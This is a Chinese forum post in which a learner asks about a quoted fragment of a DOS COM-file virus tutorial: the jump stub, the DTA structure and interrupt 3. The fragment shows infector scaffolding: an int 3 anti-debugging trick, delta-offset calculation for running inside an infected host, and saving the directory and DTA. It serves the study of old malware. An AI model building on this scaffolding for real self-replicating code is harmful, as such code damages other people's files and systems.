我的问题有三个:
1>carrier标号后面的一句指令有什么用?如果想原文的注释说的,是jmp start:的话;为什么程序不直接从扫榻如同start标号开始呢?
2>DTA(Disk Transfer Address)结构的功能是什么?
3>3号中断有什么具体功能啊?
;------------------------------------------------------------
.model tiny
.code
org 0100h
carrier:
db 0E9h,0,0 ; jmp start
start:
mov bp, sp ; Antidebugging get ?offset!
int 0003h ; Int for breakpoints
next:
mov bp, ss:[bp-6]
sub bp, offset next
;---------------------------------------------------------------------
; 解释:
; 让我们看,当我们感染一个文件。所有的offset会偏移目标程序的大小,所
; 以我们选择一个寄存器(通常BP或者SI),而且我们利用这个简单的方法给它赋
; 文件的大小,每次我们使用一个变量,我们必须把这个寄存器作为偏
; 移(这里是BP)
;---------------------------------------------------------------------
mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
;--------------------------------------------------------------------
; 解释:
; 上面一段把当前目录保存在一个变量里面。
; 你在这篇教程里面可以查找一下有关于DTA结构的介绍。DTA(Disk Transfer Address)在仍然属于命令行的PSP(Program Segment Prefix)的80h byte处。
; 你想直到为什么...在我们使用命令行的时候使用DTA会发生什么呢?
; 那就是我们保存DTA的原因(除了我们自己使用之外,毫无疑问了)
;---------------------------------------------------------------------
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!